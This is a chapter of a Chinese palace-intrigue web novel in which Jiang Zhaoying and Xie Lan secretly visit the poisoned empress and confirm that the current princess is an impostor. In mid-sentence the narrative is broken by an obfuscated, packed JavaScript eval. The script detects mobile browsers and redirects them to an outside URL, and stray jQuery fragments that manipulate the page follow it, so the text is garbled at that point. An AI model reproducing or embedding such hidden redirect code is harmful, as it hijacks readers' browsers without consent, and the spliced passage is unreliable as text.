62. 再等等

作品:《清冷权臣他后悔了

    皇后娘娘喜静,往日慈宁宫中,除了贴身伺候的嬷嬷宫女,和几个洒扫的宫人外,并无他人。


    这般虽有失天下之母的威仪,但皇上向来以皇后娘娘的喜好为主,不仅不苛责,就连禁军巡卫,他也特意叮嘱,放轻脚步,以免吵到皇后。


    可眼下的慈宁宫,再无之前的样子,自从皇后中毒,险些丧命后,这里就被里三层外三层围起来,莫说旁人,就是太子想去慈宁宫见皇后一面,都要用令牌,守卫的人才会放行。


    皇上之所以命这么多人戍守在这里,一来是担心再有人意图对皇后不利,二来是萧汐渟怂恿的,她把照顾皇后的事,全权控制在手中,皇上和皇后很疼爱她,见她这般,只当她长大懂事了,知道孝顺父母,皇上很是欣喜答应了她。


    萧汐风望着不远处,身穿铁甲,面目严肃的守卫,犹豫着还是走上前,他拿出令牌,守卫放他进了慈宁宫。


    门口站着的嬷嬷见是萧汐风,转身要通禀,被他拦下:“孤自己进去就好了,你们去忙别的吧。”


    宫人嬷嬷听他这般说,知主子间是有重要事说,不宜让他们听见,所以躬身退去了偏殿。


    萧汐风走进皇后的寝殿,入目窗明几净,香风阵阵,垂手侍立的宫女,候在两侧,等着正在帮皇后喂食的公主,随时传唤。


    许是萧汐渟太过专注,并未注意身后来人,直到脚步声到近前,她才反应过来,回身看是萧汐风,她带笑的脸,冷下去,显然还在为昨晚,萧汐风帮着外人,也不帮她的事而生气。


    她扭过头,不理他,从手中的汤碗中,舀起一勺汤喂进皇后口中,皇后病得这些日子,除了口不能言,身体行动不便外,她进食也颇为困难,要把事物碾碎成泥,一点点喂她吃下才行,喝汤水,也常会漏出来,但伺候她吃喝的萧汐渟面上没有丝毫不耐,她拿起一旁干净的锦帕,轻轻帮皇后擦拭嘴角的水渍,然后淡声对站着的宫女道:“把干食拿来。”


    宫女得令,捧上一碗瓠瓜鸡丝粥来,萧汐渟接过,用瓷勺舀了半勺,吹了吹,确定不烫了,才喂皇后吃下。


    这般细致,伺候得极为用心。


    “还在生为兄的气吗?”


    萧汐渟不答,侧过身,背对他。


    萧汐风见此,饶到她跟前,想去接她手中的碗:“让我来喂母后吧,你也辛苦一晌午了。”


    “不劳兄长,你眼中只有外人,哪里还有我?”她面上淡淡的,又给皇后喂了口粥。


    萧汐风听她揶揄,面上讪讪:“为兄这不是知道错了,特来请罪的吗?”


    “请罪?”萧汐渟不去看他:“你这话说出来,只怕母后都要笑了。”


    “母后说,孩儿说得对不对?”她放下手中的碗,替皇后理了理被风吹得有些凌乱的鬓发,又往她怀中靠:“日后母后若好了,得好好替我罚兄长。”


    面对萧汐渟亲昵的动作,皇后面上闪过一丝厌恶,萧汐风看在眼中,只当她身体不适,并未放在心上,而是继续和萧汐渟周旋。


    “不用等母后来罚,为兄自己都得罚自己,否则心有愧疚,夜里难眠。”


    萧汐风此话不假,他的确觉得自己昨日的话说得太重了些,自己妹妹对谢澜的感情他很清楚,幼时妹妹便喜缠着谢澜,逢年过节,她大多是去谢府过的,那时的她不知事,更多是为了谢澜给她糖吃,后来从南边养好病回京,她看谢澜的眼神变了,里面藏着女子见了心仪男子的羞怯,想要嫁给他,可谢澜对她无意拒了婚事,后来谢澜和姜照影成婚,旁人都以为她至此会断了对谢澜的心思,不想,她却故意散播谢澜要尚公主的谣言,想要拆散谢澜夫妇,再后来,“死而复生”的姜照影回来了,她仍是不死心,当众逼迫皇上给她和谢澜赐婚。


    萧汐风见她这般执迷不悟,既心疼,又无奈,他们生为大晟皇室,拥有至高无上的权利,享有世间的一切,可唯有一样东西,是他们得不到的,就是旁人不愿给的真心。


    他不想让萧汐渟继续沉迷,身心受伤,是以昨日才那般说的,目的是让她对谢澜死心,不想自己话说重了,倒叫她寻死觅活,萧汐风很是后悔。


    萧汐渟见他模样诚恳,心中冷笑,不想她昨日故意挤出的几滴泪,竟把萧汐风拿捏住了,当真叫人意外。


    和心中的冷意不同,听了萧汐风的话,她垂首敛眸,睫羽轻颤,似是有所动容,哽咽道:“我不过是喜欢谢大人,兄长就当着那么多人的面堕我面子,以后……”


    她这般瓮声瓮气,叫向来疼爱妹妹的萧汐风心都化了,他低声对萧汐渟道:“是兄长的错,还请妹妹到东宫一聚,我在那里设了赔罪宴,定叫妹妹气消。”


    萧汐渟能假冒安平公主这么多年,除了周怀清的易容术了得,更重要的是,她收放自如的手段,她很清楚怎样笼络人心,让人对她心生愧疚,就不会因她小小的瑕疵而怀疑她的身份。


    眼下,她知道不能再同萧汐风置气,“我和皇兄去东宫可以,不过我得替母后锤锤腿再去。”


    萧汐风并不知她在做戏,一时愧疚涌上心头,后悔答应谢澜,但事已至此,他不能半途而废,他问她:“你身边不是常有个姓周的嬷嬷吗,她去了哪里?”


    “她?”萧汐渟警觉起来,只当是萧汐风发现了什么,于是试探问他:“兄长好端端的问她作何?”


    后面听萧汐风说想让周嬷嬷替她伺候皇后,她悬着的心才放下,她笑答:“我让她去了江南,让她帮我采买一些果树回。”


    担心他继续发问,萧汐渟叫来两个宫女,帮皇后捶腿,她则挽着他的胳膊随他去了东宫。


    见人走了,躲在树丛中的姜照影和谢澜走了出来,他们在慈宁宫门外被拦下,谢澜拿出皇上御赐给他的腰牌,对守卫道:“见此令牌,如见圣上,还不放我进去。”


    守卫被他手中金灿灿的腰牌唬住,哪里还敢再拦,谢澜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053006|190366||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和姜照影顺利进了寝殿,殿内的宫女,被谢澜屏退,殿内此时只剩,他三人。


    皇后见是姜照影,挣扎着就要站起来,但终究因腿上无力,再次跌坐椅上,姜照影上前扶住她,“皇后娘娘,你还好吧?”


    此时,皇后眼中早已浸满泪水,她抬手抚摸姜照影的头发和脸颊,满眼疼爱。


    姜照影从荷包中,取出银铃,递给皇后娘娘:“这是您给我的吗?”


    “是……是。”皇后娘娘拼尽力气,也只发出这一个字,她的泪水模糊了双眼,身体颤抖,很是激动。


    她以为她再也见不到她的安平了,没想到,她还活着,还来找她了,皇后娘娘抬手把姜照影搂在怀中,扶着她的脊背。


    虽然,皇后一个字也说不出,但姜照影能感受到她真挚的母爱,她亦抬手环抱住皇后,扑在她怀中,叫了声:“母亲。”


    这一刻,她再也不用羡慕任何人,她的母亲,就在她眼前,她再也不是无依无靠的孤女,也有母亲可以唤了,事情做对了,会有亲人给的夸耀,做得不对,母亲会假意拧着她的耳朵呵斥,过后又会软语问她疼不疼。


    梦境成了现实,她的心落到实处,踏实平静。


    她问皇后:“母亲,是卢嬷嬷给你下的药对不对,她为什么要这么做?”


    皇后闻言,却是摇头,“不。”


    一旁站着的谢澜问她:“是萧汐渟知道你发现她是假的公主,所以提前对你动手了,对不对?”


    皇后点头。


    姜照影听到这里,再也支撑不住,她起身就要去找皇上:“我把银铃给皇上看,告诉他,现在的公主是假的。”


    谢澜扣着她的手腕:“只凭一个银铃,无人会相信你的。”


    “那卢嬷嬷呢,她应该认识这银铃。”姜照影迫切的想帮皇后摆脱困境,不忍看她如此,被萧汐渟囚禁,还要遭受身体上的不便。


    “她已经疯了,皇上是不会相信她的。”谢澜把人抱在怀中,对她道:“再等等,好吗,等南边的消息。”


    只要林启把卢氏押来京城,一切便迎刃而解了,不仅姜照影可以做回自己的公主,他也能找到周怀清,替父亲报仇。


    姜照影把谢澜的话听了进去,平静下来,她跪在皇后跟前,对她道:“母亲,你再忍一些时日,我一定救你出去。”


    皇后唇瓣做出“好”字的发音,把银铃还给她,然后指了指里间的小榻,姜照影从前来过皇后的寝殿,那张榻是卢嬷嬷为方便伺候皇后睡的。


    “母亲是让我去看看卢嬷嬷,看她好不好对吗?”


    皇后颔首,眼中泪珠滴落。


    以防萧汐渟突然折返回来,二人不能在寝殿多待,姜照影和皇后匆匆交代几句便和谢澜离开了皇宫。


    因谢澜把寝殿的人上下都打点过了,待萧汐渟从东宫归来时,并未发现有人来过,她让嬷嬷给皇后喂晚膳,自己则去沐浴了。